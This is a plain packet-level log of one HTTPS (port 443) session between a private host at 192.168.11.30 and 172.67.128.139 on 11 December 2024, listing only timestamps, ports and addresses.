Dec 11, 2024 12:29:50.092341900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.092348099 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.092552900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.093982935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.093993902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.094170094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.094170094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.094178915 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.094269991 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.094321012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.095084906 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.095093966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.095268965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.095268965 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.095318079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.095318079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.095323086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.095362902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.095464945 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.096914053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.096925974 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.097091913 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.097091913 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.097136974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.097141027 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.097235918 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.097295046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.098864079 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.098874092 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.099014997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.099014997 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.099060059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.099065065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.099108934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.099108934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.099231958 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.100087881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.100099087 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.100260019 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.100394964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.100400925 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.100610018 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.101104975 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.101115942 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.101289988 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.101289988 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.101299047 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.101337910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.101383924 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.101485014 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.103151083 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.103161097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.103331089 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.103331089 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.103339911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.103375912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.103473902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.103473902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.104798079 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.104808092 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.104940891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.104940891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.104990005 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.104990005 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.104995012 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.105038881 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.105137110 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.105889082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.105899096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.106139898 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.106139898 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.106146097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.106188059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.106442928 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.107665062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.107675076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.107856035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.107908010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.107908010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.107913017 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.108047009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.109077930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.109087944 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.109219074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.109308004 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.109313965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.109355927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.109505892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.110907078 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.110917091 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.111085892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.111087084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.111135960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.111135960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.111135960 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.111140966 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.111351013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.112181902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.112193108 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.112366915 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.112366915 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.112366915 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.112366915 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.112377882 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.112415075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.112468004 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.112561941 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.113863945 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.113874912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.114034891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.114034891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.114034891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.114046097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.114083052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.114183903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.114238024 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.114826918 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.114835978 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.115111113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.115118980 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.115252018 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.116929054 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.116975069 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.116985083 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.117120981 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.117120981 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.117168903 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.117172956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.117266893 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.117345095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.118253946 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.118263960 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.118397951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.118443012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.118443012 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.118448019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.118542910 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.118592978 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.119899988 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.119910955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.120024920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.120192051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.120197058 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.120387077 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.121725082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.121735096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.121843100 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.121931076 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.121934891 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.121978998 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.122047901 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.123068094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.123079062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.123272896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.123272896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.123281956 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.123317957 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.123415947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.124798059 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.124808073 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.124949932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.125027895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.125027895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.125032902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.125184059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.125994921 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.126005888 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.126104116 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.126137018 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.126236916 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.126243114 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.126327991 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.178457022 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.291559935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.291570902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.291742086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.291742086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.291754007 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.291789055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.291887045 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.291887045 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.292584896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.292594910 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.292732954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.292777061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.292777061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.292777061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.292783976 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.292875051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.292923927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.293806076 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.293817043 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.294161081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.294168949 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.294307947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.295465946 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.295475960 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.295653105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.295653105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.295747995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.295753002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.295900106 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.296377897 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.296387911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.296504974 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.296602011 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.296607018 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.296650887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.296735048 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.298226118 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.298235893 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.298465014 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.298472881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.298510075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.298616886 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.299273968 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.299284935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.299638033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.299638033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.299638033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.299638033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.299638033 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.299649000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.299813032 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.300724983 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.300739050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.300868034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.300868034 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.300915003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.300915003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.300920010 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.301014900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.301110983 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.301793098 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.301805019 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.301945925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.302000999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.302000999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.302006006 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.302046061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.302144051 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.303633928 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.303642988 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.303921938 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.303930998 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.304171085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.304594040 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.304604053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.304744959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.304744959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.304789066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.304792881 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.304841995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.304887056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.304938078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.306452036 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.306463003 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.306603909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.306603909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.306696892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.306696892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.306696892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.306703091 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.306847095 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.307398081 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.307408094 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.307574987 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.307581902 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.307665110 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.307745934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.309039116 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.309050083 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.309227943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.309236050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.309343100 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.309458971 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.310020924 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.310030937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.310163975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.310163975 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.310347080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.310353041 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.310528994 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.311790943 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.311800957 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.311948061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.311997890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.311997890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.312002897 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.312092066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.312140942 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.312804937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.312817097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.312963963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.312963963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.312969923 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.313014984 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.313065052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.313065052 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.314372063 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.314380884 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.314614058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.314623117 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.314690113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.314766884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.315579891 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.315591097 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.315768003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.315776110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.315876961 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.315926075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.317281008 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.317291021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.317630053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.317815065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.317820072 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.318042994 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.318197012 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.318214893 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.318345070 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.318345070 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.318397045 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.318401098 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.318495989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.318562984 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.319526911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.319535971 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.319689989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.319689989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.319739103 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.319742918 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.319791079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.319838047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.319888115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.321026087 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.321036100 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.321300030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.321300030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.321300030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.321300030 CET	49756	443	192.168.11.30	172.67.128.139
